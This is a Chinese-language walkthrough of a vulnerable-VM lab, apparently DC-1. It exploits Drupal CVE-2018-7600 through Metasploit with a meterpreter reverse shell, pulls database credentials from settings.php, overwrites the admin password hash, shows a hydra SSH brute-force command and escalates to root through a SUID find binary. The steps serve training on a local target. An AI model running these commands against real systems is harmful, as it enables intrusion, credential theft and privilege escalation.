环境准备

官网直接下载zip

信息搜集

首先扫描一下主机存活看一下靶机IP,可以使用如下命令
arp-scan -l
image-20230503133212652
最后确定靶机IP为192.168.75.133可以一个个访问确定,也可以看一下靶机的mac地址确定
访问得到如下页面

这个Drupal有个远程代码执行的cve为CVE-2018-7600,当然还不知道版本对不对,不过先不急着看这个CVE,用nmap扫描一下开放的端口
nmap -A 192.168.75.133
image-20230503133247513
利用插件看一下指纹信息,可以看到Drupal版本为7是存在这个CVE漏洞的
image-20230503133258116

flag1

直接利用msfconsole来看一下,这里手动弄的话很麻烦,进入msf搜一下这个模块
search Drupal
image-20230503133311896
直接使用18年的那个CVEuse exploit/unix/webapp/drupal_drupalgeddon2然后查看一下payload执行show payloads可以看到所有payload列出,使用如下payload,这里也可以不设置,我是为了练习一下工具使用
image-20230503133321883
set payload php/meterpreter/reverse_tcp
image-20230503133330955
然后查看需要配置的参数
show options
image-20230503133344476
yes为必填参数,有默认的直接用,这里就只需要配一下RHOSTS即靶机IP
set rhosts 192.168.75.133
image-20230503133401577
然后开始攻击exploit
image-20230503133412030
攻击成功,拿shell
image-20230503133423597
ls看到flag1先打开看看
image-20230503133433140

flag2

用python获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
image-20230503133444394
看一下用户权限,只是一个普通用户
image-20230503133458731
根据flag1提示看一下配置文件,通过百度得到配置文件名settings.php

1
cat `find / -name settings.php`

这里也可以使用命令find . -name "set*"搜到配置文件
拿到flag2和一个数据库
image-20230503133518795

flag3,拿下数据库

登入数据库
mysql -udbuser -pR0ck3t
image-20230503133539364
然后就是查看一下数据库里面的东西
show databases;
image-20230503133553088
use drupaldb;show tables;
image-20230503133605586
查看这个users表
select * from users\G;
这里\G就是纵向显示数据
image-20230503133616089
得到两个用户,不过密码不是明文,模糊搜索一下看看有没有加密脚本
find . -name "*hash*"
image-20230503133629051
找到加密脚本,简单运行一下看看
image-20230503133639889
这里应该就是直接在后面加上密码就可以得到密文,反正就是多尝试
image-20230503133652131
这里我们想试出admin的密码很难,所以我们就直接在数据库里面进行替换

1
update users set pass='$S$DQg60FlJLrmVGTkV6v6xnQKJGLPv9Bq5mNizW6/kv0IeIyA.2dyd' where name="admin";

image-20230503133707194
替换成功,然后登录看看
image-20230503133717797
image-20230503133727343
在这里找到flag3

flag4

根据flag3提示,打开/etc/passwd看看
image-20230503133743399
得到flag4用户,并且在用户目录下可以找到flag4,这里也可以使用工具Hydra去爆破用户ssh密码远程登录
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.75.133
但是既然能直接打开没必要去爆破
image-20230503133756258
提示root目录但是没有权限打开,开始提权

flag5,suid提权

利用find命令,找查具有SUID权限的可执行二进制文件

1
2
3
4
5
6
7
8
9
find / -perm -u=s -type f 2>/dev/null

find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)

image-20230503133811249
find命令在里面可以直接使用它来提权

1
2
3
4
find / -name index.php -exec "/bin/sh" \;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上
-exec "/bin/sh" \;

image-20230503133821756
提权成功,然后进入root目录查看
image-20230503133830589
找到最后一个flag,打靶结束